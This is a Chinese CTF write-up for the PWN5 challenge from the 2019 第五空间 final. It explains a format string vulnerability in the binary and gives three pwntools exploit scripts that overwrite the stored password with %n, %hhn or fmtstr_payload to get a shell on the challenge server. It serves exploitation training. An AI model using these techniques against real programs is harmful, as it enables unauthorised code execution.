[第五空间2019 决赛]PWN5

[第五空间2019 决赛]PWN5_第1张图片

int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int result; // eax
  int fd; // [esp+0h] [ebp-84h]
  char nptr[16]; // [esp+4h] [ebp-80h] BYREF
  char buf[100]; // [esp+14h] [ebp-70h] BYREF
  unsigned int v6; // [esp+78h] [ebp-Ch]
  int *v7; // [esp+7Ch] [ebp-8h]

  v7 = &a1;
  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &dword_804C044, 4u);
  printf("your name:");
  read(0, buf, 0x63u);
  printf("Hello,");
  printf(buf);
  printf("your passwd:");
  read(0, nptr, 0xFu);
  if ( atoi(nptr) == dword_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  if ( __readgsdword(0x14u) != v6 )
    sub_80493D0();
  return result;
}

源程序大意是把随机数放入到0x804c044处,用户输入用户名和密码,如果密码和随机数相等,则拿到权限。

printf(buf);输出字符串的printf函数里面直接输入了地址,表明是有格式字符串漏洞的。对于格式化字符串漏洞,我们首先要确定输入点是栈中的第几个参数。

利用AAAA %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x的形式来计算偏移量:

from __future__ import absolute_import
from pwn import *
io =remote(u"node4.buuoj.cn",28198)
#payload = b'I'*(0x80)+ b'a'*0x4+ p32(0x804A03E)
#计算偏移量
payload = 'AAAA %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x'
io.send(payload)
io.interactive()

输出:
 

python p32.py
[+] Opening connection to node4.buuoj.cn on port 28198: Done
[*] Switching to interactive mode
your name:Hello,AAAA ffcda458 00000063 00000000 ffcda47e 00000003 000000c2 f7df691b ffcda47e ffcda57c 41414141 38302520 30252078 25207838���your passw[*] Got EOF while reading in interactive

A的ASCII码为65(0x41),四个A就是0x41414141,可以看到第十个输出正是41414141所以偏移量为10。

.bss:0804C044 ; _DWORD dword_804C044
.bss:0804C044 dword_804C044   dd ?                    ; DATA XREF: main+77↑o
.bss:0804C044                                         ; main+108↑o
.bss:0804C044 _bss            ends

发现要写入的数据是DWORD,也就是四字节
四字节正好使用%n (hn是写入两字节,hhn是写入一字节,lln是写入八字节)。
%n:不输出字符,把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
%$:定位参数符
根据%$n特性,%5$n=%x%x%x%x%n,构造出payload时,要用% 10 $ n来修改的话,我们写入存储地址的也是4
因为密码要和该地址存储的值一样,所以我们把密码改为b’4’

完整exp1:
 

from pwn import *
## remote()建立远程连接,指明ip和port
io = remote('node4.buuoj.cn', 28198)
leak_addr = 0x804C044
io.recvuntil('your name:')
payload1 = p32(leak_addr) + b'%10$n'
io.sendline(payload1)#发送数据
io.recvuntil('your passwd:') #与shell进行交互
io.sendline(b'4')
io.interactive()

找到储存密码的地方为0x0804C044,我们一个字节一个字节的存入,所以不能是直接用0x0804C044,而是是用四个地址0x0804C044,0x0804C045,0x0804C046,0x0804C047,前面的四个构造地址总长度为4 * 4字节,构造b'%10$hhn%11$hhn%12$hhn%13$hhn', 单次打印%n = 0x00000010是小端序, 导致0x10在高字节, 连续四次打印都覆盖了前面的三个字节, 最终值为 0x10101010

完整exp2:

from pwn import *
p = remote(“node4.buuoj.cn”, 28198)
payload = p32(0x804c044) + p32(0x804c045) + p32(0x804c046) + p32(0x804c047) +b'%10$hhn%11$hhn%12$hhn%13$hhn'
p.sendafter(“name:”,payload)
p.sendafter(“passwd”,str(0x10101010)) #
p.interactive()

fmtstr_payload是pwntools里面的一个工具,可以实现修改任意内存,用来简化对格式化字符串漏洞的构造工作。

    fmtstr_payload(offset, {printf_got: system_addr})(偏移,{原地址:目的地址})

offset:格式化字符串的偏移;
writes:需要利用%n写入的数据,采用字典形式,就写成{目标地址: 要写入的数据};要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress}
numbwritten:已经输出的字符个数,这里没有,为0,采用默认值即可;#这里是要考虑printf参数的原因
write_size:写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload

完整exp3:

from pwn import * 
p = remote(“node4.buuoj.cn”, 28198) 
dword_804c044=0x0804C044
payload=fmtstr_payload(10,{dword_804c044:4}) 
p.sendlineafter("your name:",payload)
p.sendlineafter("your passwd",str(4))
p.interactive()

你可能感兴趣的:(CTF,网络,算法,系统安全,web安全,安全威胁分析,网络安全)